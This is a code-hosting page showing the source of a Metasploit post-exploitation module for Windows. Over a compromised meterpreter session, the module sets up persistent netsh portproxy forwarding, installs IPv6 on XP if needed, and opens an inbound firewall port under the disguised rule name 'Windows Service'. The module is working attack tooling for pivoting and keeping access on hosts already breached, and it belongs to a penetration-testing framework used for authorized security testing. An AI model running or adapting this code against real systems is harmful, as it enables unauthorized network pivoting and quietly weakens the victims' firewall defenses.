PageRenderTime 43ms CodeModel.GetById 17ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/post/windows/manage/portproxy.rb

https://github.com/Jonono2/metasploit-framework
Ruby | 125 lines | 117 code | 4 blank | 4 comment | 1 complexity | c39340a170034e3a6831ef2b6fd3581e MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-3.0, LGPL-2.1, GPL-2.0
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class Metasploit3 < Msf::Post
  6. include Msf::Post::Windows::Priv
  7. def initialize(info={})
  8. super( update_info( info,
  9. 'Name' => 'Windows Manage Set Port Forwarding With PortProxy',
  10. 'Description' => %q{
  11. This module uses the PortProxy interface from netsh to set up
  12. port forwarding persistently (even after reboot). PortProxy
  13. supports TCP IPv4 and IPv6 connections.
  14. },
  15. 'License' => MSF_LICENSE,
  16. 'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
  17. 'Platform' => 'win',
  18. 'SessionTypes' => [ 'meterpreter' ]
  19. ))
  20. register_options(
  21. [
  22. OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']),
  23. OptAddress.new('CONNECT_ADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']),
  24. OptPort.new( 'CONNECT_PORT', [ true, 'Port number to which to connect.']),
  25. OptPort.new( 'LOCAL_PORT', [ true, 'Port number to which to listen.']),
  26. OptBool.new( 'IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]),
  27. OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']])
  28. ], self.class)
  29. end
  30. def run
  31. if not is_admin?
  32. print_error("You don't have enough privileges. Try getsystem.")
  33. return
  34. end
  35. # Due to a bug in Windows XP you need to install IPv6
  36. # http://support.microsoft.com/kb/555744/en-us
  37. if sysinfo["OS"] =~ /XP/
  38. return unless check_ipv6
  39. end
  40. return unless enable_portproxy
  41. fw_enable_ports
  42. end
  43. def enable_portproxy
  44. rtable = Rex::Ui::Text::Table.new(
  45. 'Header' => 'Port Forwarding Table',
  46. 'Indent' => 3,
  47. 'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT']
  48. )
  49. print_status("Setting PortProxy ...")
  50. netsh_args = "interface portproxy "
  51. netsh_args << "add #{datastore['TYPE']} "
  52. netsh_args << "listenport=#{datastore['LOCAL_PORT']} "
  53. netsh_args << "listenaddress=#{datastore['LOCAL_ADDRESS']} "
  54. netsh_args << "connectport=#{datastore['CONNECT_PORT']} "
  55. netsh_args << "connectaddress=#{datastore['CONNECT_ADDRESS']}"
  56. output = cmd_exec("netsh", netsh_args)
  57. if output.size > 2
  58. print_error("Setup error. Verify parameters and syntax.")
  59. return false
  60. else
  61. print_good("PortProxy added.")
  62. end
  63. output = cmd_exec("netsh","interface portproxy show all")
  64. output.each_line do |l|
  65. rtable << l.split(" ") if l.strip =~ /^[0-9]|\*/
  66. end
  67. print_status(rtable.to_s)
  68. return true
  69. end
  70. def ipv6_installed()
  71. output = cmd_exec("netsh","interface ipv6 show interface")
  72. if output.lines.count > 2
  73. return true
  74. else
  75. return false
  76. end
  77. end
  78. def check_ipv6
  79. if ipv6_installed
  80. print_status("IPv6 is already installed.")
  81. return true
  82. elsif not datastore['IPV6_XP']
  83. print_error("IPv6 is not installed. You need IPv6 to use portproxy.")
  84. print_status("IPv6 can be installed with \"netsh interface ipv6 install\"")
  85. return false
  86. else
  87. print_status("Installing IPv6... can take a little long")
  88. cmd_exec("netsh","interface ipv6 install",120)
  89. if not ipv6_installed
  90. print_error("IPv6 was not successfully installed. Run it again.")
  91. return false
  92. end
  93. print_good("IPv6 was successfully installed.")
  94. return true
  95. end
  96. end
  97. def fw_enable_ports
  98. print_status ("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
  99. if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/
  100. cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")
  101. else
  102. cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"")
  103. end
  104. output = cmd_exec("netsh","firewall show state")
  105. if output =~ /^#{datastore['LOCAL_PORT']} /
  106. print_good("Port opened in Windows Firewall.")
  107. else
  108. print_error("There was an error enabling the port.")
  109. end
  110. end
  111. end